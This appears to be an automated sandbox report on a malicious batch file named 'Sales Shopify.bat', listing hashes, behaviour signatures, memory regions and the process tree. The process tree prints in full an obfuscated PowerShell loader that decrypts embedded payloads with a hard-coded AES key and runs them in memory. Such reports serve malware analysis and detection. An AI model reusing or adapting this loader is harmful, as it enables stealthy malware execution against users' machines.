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Analysis

  • max time kernel
    122s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20230712-en
  • resource tags

    arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
  • submitted
    24/07/2023, 04:58

General

  • Target

    Sales Shopify.bat

  • Size

    12.0MB

  • MD5

    006d8814fe9e642ecb24e0185c55d533

  • SHA1

    3bd1949b7602aa253d4fca6af46a7c90daf5dc12

  • SHA256

    bb1b201537a114b5de2bc8a8fe53564cd1962caa319b67015a43b27439184572

  • SHA512

    4d6b02d0d23e058ff4cd8c08545251260264cb7f2429d8b3b7a34e9897e5fdf65ec4ed63a27f821d2613d4d2c7274e57c92fd9c9368c8dc3e9253ec5fad73f03

  • SSDEEP

    49152:KiPwNeY4zGtQ+EabUYPp5Af3GMDbA4w3Po779gQVb+dm/xXUmH0y3QbtXVq2Bdk5:5

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Sales Shopify.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2160
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Sales Shopify.bat"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1048
      • C:\Users\Admin\AppData\Local\Temp\Sales Shopify.bat.scr
        "C:\Users\Admin\AppData\Local\Temp\Sales Shopify.bat.scr" -w hidden -c $DPtp='RZmrVeZmrVadZmrVLiZmrVneZmrVsZmrV'.Replace('ZmrV', '');$Xckg='EnZmrVtryPZmrVoiZmrVntZmrV'.Replace('ZmrV', '');$lENX='FroZmrVmBasZmrVe6ZmrV4SZmrVtriZmrVngZmrV'.Replace('ZmrV', '');$TsUQ='MZmrVaiZmrVnMoZmrVdulZmrVeZmrV'.Replace('ZmrV', '');$RuJI='EleZmrVmeZmrVntZmrVAtZmrV'.Replace('ZmrV', '');$jdpw='LZmrVoZmrVaZmrVdZmrV'.Replace('ZmrV', '');$SJXl='TrZmrVansZmrVformZmrVFinaZmrVlBZmrVlocZmrVkZmrV'.Replace('ZmrV', '');$AqJK='GeZmrVtCuZmrVrZmrVrenZmrVtPrZmrVocesZmrVsZmrV'.Replace('ZmrV', '');$uCFR='ChaZmrVnZmrVgZmrVeEZmrVxZmrVtensZmrVioZmrVnZmrV'.Replace('ZmrV', '');$mdao='SpZmrVlZmrVitZmrV'.Replace('ZmrV', '');$uIBL='CrZmrVeaZmrVteZmrVDecZmrVrypZmrVtorZmrV'.Replace('ZmrV', '');$qCgt='InvoZmrVkeZmrV'.Replace('ZmrV', '');function PzTBi($Mnuyq){$mkxdA=[System.Security.Cryptography.Aes]::Create();$mkxdA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$mkxdA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$mkxdA.Key=[System.Convert]::$lENX('0REBX7KLNOkEhQHbLhBZzUYV0+FxBbNL6SD0cviVOsk=');$mkxdA.IV=[System.Convert]::$lENX('XlHYR0vpZW4wCSOBb7BEdg==');$yeiRq=$mkxdA.$uIBL();$SooRl=$yeiRq.$SJXl($Mnuyq,0,$Mnuyq.Length);$yeiRq.Dispose();$mkxdA.Dispose();$SooRl;}function qCASc($Mnuyq){$coJHI=New-Object System.IO.MemoryStream(,$Mnuyq);$gCHzA=New-Object System.IO.MemoryStream;$wRLkj=New-Object System.IO.Compression.GZipStream($coJHI,[IO.Compression.CompressionMode]::Decompress);$wRLkj.CopyTo($gCHzA);$wRLkj.Dispose();$coJHI.Dispose();$gCHzA.Dispose();$gCHzA.ToArray();}$tDNzo=[System.Linq.Enumerable]::$RuJI([System.IO.File]::$DPtp([System.IO.Path]::$uCFR([System.Diagnostics.Process]::$AqJK().$TsUQ.FileName, $null)), 1);$tqwJo=$tDNzo.Substring(2).$mdao(':');$haGVS=qCASc (PzTBi ([Convert]::$lENX($tqwJo[0])));$bvszY=qCASc (PzTBi ([Convert]::$lENX($tqwJo[1])));[System.Reflection.Assembly]::$jdpw([byte[]]$bvszY).$Xckg.$qCgt($null,$null);[System.Reflection.Assembly]::$jdpw([byte[]]$haGVS).$Xckg.$qCgt($null,$null);
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2860

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Sales Shopify.bat.scr

    Filesize

    462KB

    MD5

    852d67a27e454bd389fa7f02a8cbe23f

    SHA1

    5330fedad485e0e4c23b2abe1075a1f984fde9fc

    SHA256

    a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

    SHA512

    327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

  • \Users\Admin\AppData\Local\Temp\Sales Shopify.bat.scr

    Filesize

    462KB

    MD5

    852d67a27e454bd389fa7f02a8cbe23f

    SHA1

    5330fedad485e0e4c23b2abe1075a1f984fde9fc

    SHA256

    a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

    SHA512

    327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

  • memory/2860-59-0x000000001B120000-0x000000001B402000-memory.dmp

    Filesize

    2.9MB

  • memory/2860-60-0x0000000001E00000-0x0000000001E08000-memory.dmp

    Filesize

    32KB

  • memory/2860-61-0x000007FEF53F0000-0x000007FEF5D8D000-memory.dmp

    Filesize

    9.6MB

  • memory/2860-63-0x0000000002740000-0x00000000027C0000-memory.dmp

    Filesize

    512KB

  • memory/2860-62-0x0000000002740000-0x00000000027C0000-memory.dmp

    Filesize

    512KB

  • memory/2860-64-0x0000000002740000-0x00000000027C0000-memory.dmp

    Filesize

    512KB

  • memory/2860-65-0x000007FEF53F0000-0x000007FEF5D8D000-memory.dmp

    Filesize

    9.6MB

  • memory/2860-66-0x0000000002740000-0x00000000027C0000-memory.dmp

    Filesize

    512KB

  • memory/2860-67-0x000007FEF53F0000-0x000007FEF5D8D000-memory.dmp

    Filesize

    9.6MB